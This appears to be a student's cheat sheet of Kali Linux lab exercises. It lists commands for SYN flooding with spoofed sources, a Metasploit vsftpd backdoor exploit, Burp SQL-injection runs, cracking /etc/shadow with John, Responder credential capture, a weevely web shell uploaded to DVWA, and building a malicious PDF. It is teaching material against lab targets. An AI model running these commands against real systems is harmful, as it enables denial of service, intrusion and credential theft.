1a

sudo apt-get install hping3

hping3 -S 10.0.2.4 -p 80 -c 1

hping3 --traceroute -V -1 10.0.2.4

hping3 --rand-source -c 15000 -d 120 -w 64 -S -p 80 --flood 10.0.2.4

hping3 -a 10.0.2.6 -c 15000 -d 120 -w 64 -S -p 80 --flood 10.0.2.4

1b

sudo apt-get install nmap

nmap 10.0.2.4 (find)

nmap -sC 10.0.2.4 -p 80 (anon ftp)

nmap -sV 10.0.2.4 (open)

searchsploit vsftpd 2.3.4

msfconsole (new tab)

msfconsole>> search vsftpd

msfconsole>> use exploit/unix/ftp/vsftpd\_234\_backdoor

---------->> show info

---------->> show options

---------->> set RHOSTS 10.0.2.4

---------->> exploit

2a

sudo apt-get install httrack webhttrack

httrack https://www.rvce.edu.inf

httrack https://www.rvce.edu.in/index.html +\* -r6

httrack https://www.rvce.edu.in --spider -P proxy.myhost.com:8080

httrack --update (update a mirror)

httrack --continue (continue a mirror)

webhttrack (GUI)

2b

metasploitable -> cd /var/www/mutillidae -> sudo nano config.inc

replace metasploitable by owasp10

Kali

Browser -> metasploitable ip -> mutillidae

owasp10 -> A1 -> SQLi-extract data -> user info

Browser -> preference -> network -> manual proxy -> 127.0.0.1:8080 -> enable ftp & https

Burpsuit -> Proxy -> intercept on (if off)

Browser -> mutillidae -> random credentials

select all -> send to intruder

Intruder -> positions -> clear -> select name -> add

-> payloads -> load -> /usr/share/wordlist/wfuzz/injections/SQL.txt -> Start attack

39

3a

sudo apt-get install john

john --single --format=raw-sha1 file.txt

john --wordlist=/usr/share/john/password.lst --format=raw-sha1 file.txt

john --incremental file.txt

cat /etc/shadow

unshadow /etc/passwd /etc/shadow > file.txt

john file.txt

john --list=formats

sudo adduser -r hello

sudo passwd hello

3b

sudo apt-get install crunch

crunch 2 3 someword

crunch 4 6 -p hello world ! (pattern)

4a

sudo apt-get install macchanger

ifconfig

ifconfig eth0 down

macchanger -r eth0

macchanger -m 00:d0:70:00:20:69 eth0

macchanger -s eth0

macchanger -p eth0

ifconfig eth0 update

4b

sudo apt-get install responder

responder -I -A eth0

responder -I eth0

responder -I -wbF eth0

cat /usr/share/responder/logs/HTTP-Basic-ClearText-10.0.2.15.txt

5a

sudo apt install weevely

weevely generate password shell.

(Firefox -> metasploitable\_ip -> dvwa -> security -> upload)

(Firefox -> http://10.0.2.4/dvwa/hackable/uploads/shell.php)

weevely http://10.0.2.4/dvwa/hackable/uploads/shell.php password

ls

system\_info

file\_rm

file\_upload

file\_download

5b

sudo apt-get install proxychains

sudo apt-get install tor

service tor status

service tor start

nano /etc/proxychains4.conf

(strict, dynamic, last line 5)

service tor restart

(new tab no sudo) proxychains4 firefox google.com

6a

sudo apt-get install foremost

fdisk -l

foremost -v -q -t jpg -i /dev/sda1 -o downloads

6b

sudo apt-get install binwalk

binwalk WhatsAppSetup.exe (-B)

binwalk -e WhatsAppSetup.exe (extract)

binwalk -E WhatsAppSetup.exe (entropy)

binwalk -Me WhatsAppSetup.exe (recursive)

binwalk -Mre WhatsAppSetup.exe (delete 0-size files)

binwalk -f file.log WhatsAppSetup.exe (log)

binwalk -W first.exe second.exe (difference)

7a

sudo apt-get install pipal

pipal -t 10 passwords.txt

pipal passwords.txt

pipal --list-checkers

7b

sudo apt-get install cutycapt

cutycapt --url=https://www.google.com --out=file.png

8a

sudo apt-get install netdiscover

netdiscover -r 192.168.0.125 (Bridge adapter)

8b

sudo apt-get install pdf-parser

msfconsole(new tab)

msfconsole>> use exploit/windows/fileformat/adobe\_pdf\_embedded\_exe

msfconsole>> show options

msfconsole>> exploit

(new tab)

pdfid /root/.msf4/local/evil.pdf

pdf-parser /root/.msf4/local/evil.pdf

pdf-parser -o 10 /root/.msf4/local/evil.pdf (10th object)

pdf-parser -a /root/.msf4/local/evil.pdf (pdf stats)

pdf-parser -H /root/.msf4/local/evil.pdf (get hashes if any)

pdf-parser --search javascript --raw /root/.msf4/local/evil.pdf (javascript)